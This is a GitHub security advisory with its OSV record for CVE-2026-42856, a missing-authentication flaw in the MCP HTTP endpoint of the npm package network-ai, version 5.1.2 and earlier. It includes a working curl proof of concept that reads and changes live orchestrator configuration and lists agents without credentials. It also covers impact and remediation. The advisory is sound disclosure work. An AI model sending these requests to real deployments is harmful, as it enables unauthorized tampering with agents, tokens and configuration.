GHSA-FJ4G-2P96-Q6M3
Vulnerability from github – Published: 2026-05-05 17:25 – Updated: 2026-05-13 14:17Security Advisory: Missing Authentication for Critical Function in Jovancoding/Network-AI
| Field | Value |
|---|---|
| Project | Jovancoding/Network-AI |
| Repository | https://github.com/Jovancoding/Network-AI |
| Affected commit | c344f2053eb0d49395988f803bf92f2a86b2a0d0 |
| Affected tested version | 5.1.2 |
| Vulnerability type | CWE-306: Missing Authentication for Critical Function |
| Severity | High |
| Authentication required | None |
| Default network exposure | Bind address 0.0.0.0 |
| Reporter validation date | 2026-04-21 |
Summary
The MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.
Affected Code
bin/mcp-server.ts:75— server binds to0.0.0.0by default.lib/mcp-transport-sse.ts:155—handleRPC()dispatchestools/calldirectly to the provider'scall(toolName, toolArgs).lib/mcp-transport-sse.ts:379—_handlePost()parses the JSON-RPC body and callsthis._bridge.handleRPC(rpc)with no auth check.lib/mcp-tools-control.ts:80—config_getexposes live runtime configuration.lib/mcp-tools-control.ts:197—agent_listexposes registered agents.lib/mcp-tools-control.ts:231—config_setmutates runtime configuration in place:this._config[key] = parsed.
Proof of Concept
The PoC was executed against a local Docker build of the affected commit, bound to http://localhost:13001. No authentication header was sent. All inner-JSON excerpts below are decoded from the JSON-RPC result.content[0].text field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in evidence/.
Step 1 — list exposed tools (unauthenticated)
curl http://localhost:13001/tools
HTTP/1.1 200 OK — body returned 22 tools. Privileged tools observed in the inventory include:
config_get,config_set— read and mutate live orchestrator configurationagent_list,agent_spawn,agent_stop— enumerate, dispatch, and stop agentstoken_create,token_revoke— mint and revoke security tokensbudget_set_ceiling— adjust the global token budget ceilingfsm_transition— drive finite-state-machine transitionsblackboard_write,blackboard_delete— mutate the shared blackboard
Full transcript: evidence/01_get_tools.txt.
Step 2 — read live configuration (unauthenticated)
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'
HTTP/1.1 200 OK — decoded inner JSON:
{
"ok": true,
"tool": "config_get",
"data": {
"blackboardPath": "./swarm-blackboard.md",
"maxParallelAgents": null,
"defaultTimeout": 30000,
"enableTracing": true,
"grantTokenTTL": 300000,
"maxBlackboardValueSize": 1048576,
"auditLogPath": "./data/audit_log.jsonl",
"trustConfigPath": "./data/trust_levels.json"
}
}
Full transcript: evidence/02_config_get_before.txt.
Step 3 — mutate live configuration (unauthenticated)
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"config_set","arguments":{"key":"defaultTimeout","value":"12345"}}}'
HTTP/1.1 200 OK — decoded inner JSON:
{
"ok": true,
"tool": "config_set",
"data": {
"key": "defaultTimeout",
"previous": 30000,
"current": 12345,
"applied": true
}
}
Full transcript: evidence/03_config_set.txt.
Step 4 — confirm mutation persisted (unauthenticated)
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'
HTTP/1.1 200 OK — decoded inner JSON (relevant key only):
{
"ok": true,
"tool": "config_get",
"data": {
"defaultTimeout": 12345
}
}
This proves the runtime change applied by step 3 is observable on the next read. Full transcript: evidence/04_config_get_after.txt.
Step 5 — enumerate registered agents (unauthenticated)
curl http://localhost:13001/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"agent_list","arguments":{}}}'
HTTP/1.1 200 OK — decoded inner JSON:
{
"ok": true,
"tool": "agent_list",
"data": {
"agents": [],
"count": 0
}
}
This is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: evidence/05_agent_list.txt.
Cleanup — runtime state restored
After the PoC, defaultTimeout was restored to 30000 via the same unauthenticated config_set (previous":12345,"current":30000,"applied":true). All testing was performed against a local Docker container only.
Impact
- Unauthenticated network access enables full enumeration and invocation of the orchestrator's management functionality.
- An attacker can change runtime configuration (e.g.,
defaultTimeout,enableTracing), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings. - The default
0.0.0.0bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.
Suggested Remediation
- Enforce authentication inside
_handlePost()before reachinghandleRPC(). At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it. - Default the bind address to
127.0.0.1. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured. - For tool-level defense in depth, gate state-mutating tools (
config_set,agent_spawn,agent_stop,token_create,token_revoke,budget_set_ceiling,fsm_transition,blackboard_write,blackboard_delete) behind an explicit authorization check tied to a verified caller identity.
Verification Environment
- Local Docker container only; no third-party deployment was tested.
- Local build required a minimal Dockerfile fix; the application code path under test was not modified.
- Runtime state (
defaultTimeout) was restored to default after the PoC.
Attached Evidence
Files in evidence/ are raw curl -i transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.
| File | Purpose |
|---|---|
| 01_get_tools.txt | Step 1 — full GET /tools request and 22-tool inventory response |
| 02_config_get_before.txt | Step 2 — full config_get request and live configuration response |
| 03_config_set.txt | Step 3 — full config_set request mutating defaultTimeout |
| 04_config_get_after.txt | Step 4 — full config_get request showing the mutation persisted |
| 05_agent_list.txt | Step 5 — full agent_list request and response |
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.1.2"
},
"package": {
"ecosystem": "npm",
"name": "network-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42856"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T17:25:37Z",
"nvd_published_at": "2026-05-11T18:16:35Z",
"severity": "HIGH"
},
"details": "# Security Advisory: Missing Authentication for Critical Function in `Jovancoding/Network-AI`\n\n| Field | Value |\n|---|---|\n| Project | `Jovancoding/Network-AI` |\n| Repository | https://github.com/Jovancoding/Network-AI |\n| Affected commit | `c344f2053eb0d49395988f803bf92f2a86b2a0d0` |\n| Affected tested version | `5.1.2` |\n| Vulnerability type | CWE-306: Missing Authentication for Critical Function |\n| Severity | High |\n| Authentication required | None |\n| Default network exposure | Bind address `0.0.0.0` |\n| Reporter validation date | 2026-04-21 |\n\n## Summary\n\nThe MCP HTTP transport accepts JSON-RPC `tools/call` requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator\u0027s tool registry. The default bind address is `0.0.0.0`. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools \u2014 including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.\n\n## Affected Code\n\n- `bin/mcp-server.ts:75` \u2014 server binds to `0.0.0.0` by default.\n- `lib/mcp-transport-sse.ts:155` \u2014 `handleRPC()` dispatches `tools/call` directly to the provider\u0027s `call(toolName, toolArgs)`.\n- `lib/mcp-transport-sse.ts:379` \u2014 `_handlePost()` parses the JSON-RPC body and calls `this._bridge.handleRPC(rpc)` with no auth check.\n- `lib/mcp-tools-control.ts:80` \u2014 `config_get` exposes live runtime configuration.\n- `lib/mcp-tools-control.ts:197` \u2014 `agent_list` exposes registered agents.\n- `lib/mcp-tools-control.ts:231` \u2014 `config_set` mutates runtime configuration in place: `this._config[key] = parsed`.\n\n## Proof of Concept\n\nThe PoC was executed against a local Docker build of the affected commit, bound to `http://localhost:13001`. **No authentication header was sent.** All inner-JSON excerpts below are decoded from the JSON-RPC `result.content[0].text` field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in `evidence/`.\n\n### Step 1 \u2014 list exposed tools (unauthenticated)\n\n```bash\ncurl http://localhost:13001/tools\n```\n\n`HTTP/1.1 200 OK` \u2014 body returned 22 tools. Privileged tools observed in the inventory include:\n\n- `config_get`, `config_set` \u2014 read and mutate live orchestrator configuration\n- `agent_list`, `agent_spawn`, `agent_stop` \u2014 enumerate, dispatch, and stop agents\n- `token_create`, `token_revoke` \u2014 mint and revoke security tokens\n- `budget_set_ceiling` \u2014 adjust the global token budget ceiling\n- `fsm_transition` \u2014 drive finite-state-machine transitions\n- `blackboard_write`, `blackboard_delete` \u2014 mutate the shared blackboard\n\nFull transcript: `evidence/01_get_tools.txt`.\n\n### Step 2 \u2014 read live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON:\n\n```json\n{\n \"ok\": true,\n \"tool\": \"config_get\",\n \"data\": {\n \"blackboardPath\": \"./swarm-blackboard.md\",\n \"maxParallelAgents\": null,\n \"defaultTimeout\": 30000,\n \"enableTracing\": true,\n \"grantTokenTTL\": 300000,\n \"maxBlackboardValueSize\": 1048576,\n \"auditLogPath\": \"./data/audit_log.jsonl\",\n \"trustConfigPath\": \"./data/trust_levels.json\"\n }\n}\n```\n\nFull transcript: `evidence/02_config_get_before.txt`.\n\n### Step 3 \u2014 mutate live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"config_set\",\"arguments\":{\"key\":\"defaultTimeout\",\"value\":\"12345\"}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON:\n\n```json\n{\n \"ok\": true,\n \"tool\": \"config_set\",\n \"data\": {\n \"key\": \"defaultTimeout\",\n \"previous\": 30000,\n \"current\": 12345,\n \"applied\": true\n }\n}\n```\n\nFull transcript: `evidence/03_config_set.txt`.\n\n### Step 4 \u2014 confirm mutation persisted (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON (relevant key only):\n\n```json\n{\n \"ok\": true,\n \"tool\": \"config_get\",\n \"data\": {\n \"defaultTimeout\": 12345\n }\n}\n```\n\nThis proves the runtime change applied by step 3 is observable on the next read. Full transcript: `evidence/04_config_get_after.txt`.\n\n### Step 5 \u2014 enumerate registered agents (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"id\":4,\"method\":\"tools/call\",\"params\":{\"name\":\"agent_list\",\"arguments\":{}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON:\n\n```json\n{\n \"ok\": true,\n \"tool\": \"agent_list\",\n \"data\": {\n \"agents\": [],\n \"count\": 0\n }\n}\n```\n\nThis is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: `evidence/05_agent_list.txt`.\n\n### Cleanup \u2014 runtime state restored\n\nAfter the PoC, `defaultTimeout` was restored to `30000` via the same unauthenticated `config_set` (`previous\":12345,\"current\":30000,\"applied\":true`). All testing was performed against a local Docker container only.\n\n## Impact\n\n- Unauthenticated network access enables full enumeration and invocation of the orchestrator\u0027s management functionality.\n- An attacker can change runtime configuration (e.g., `defaultTimeout`, `enableTracing`), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings.\n- The default `0.0.0.0` bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.\n\n## Suggested Remediation\n\n1. Enforce authentication inside `_handlePost()` before reaching `handleRPC()`. At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it.\n2. Default the bind address to `127.0.0.1`. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured.\n3. For tool-level defense in depth, gate state-mutating tools (`config_set`, `agent_spawn`, `agent_stop`, `token_create`, `token_revoke`, `budget_set_ceiling`, `fsm_transition`, `blackboard_write`, `blackboard_delete`) behind an explicit authorization check tied to a verified caller identity.\n\n## Verification Environment\n\n- Local Docker container only; no third-party deployment was tested.\n- Local build required a minimal Dockerfile fix; the application code path under test was not modified.\n- Runtime state (`defaultTimeout`) was restored to default after the PoC.\n\n## Attached Evidence\n\nFiles in `evidence/` are raw `curl -i` transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.\n\n| File | Purpose |\n|---|---|\n|[01_get_tools.txt](https://github.com/user-attachments/files/26950583/01_get_tools.txt) | Step 1 \u2014 full `GET /tools` request and 22-tool inventory response |\n|[02_config_get_before.txt](https://github.com/user-attachments/files/26950584/02_config_get_before.txt) | Step 2 \u2014 full `config_get` request and live configuration response |\n|[03_config_set.txt](https://github.com/user-attachments/files/26950585/03_config_set.txt) | Step 3 \u2014 full `config_set` request mutating `defaultTimeout` |\n|[04_config_get_after.txt](https://github.com/user-attachments/files/26950586/04_config_get_after.txt)| Step 4 \u2014 full `config_get` request showing the mutation persisted |\n| [05_agent_list.txt](https://github.com/user-attachments/files/26950587/05_agent_list.txt) | Step 5 \u2014 full `agent_list` request and response |",
"id": "GHSA-fj4g-2p96-q6m3",
"modified": "2026-05-13T14:17:54Z",
"published": "2026-05-05T17:25:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-fj4g-2p96-q6m3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42856"
},
{
"type": "PACKAGE",
"url": "https://github.com/Jovancoding/Network-AI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.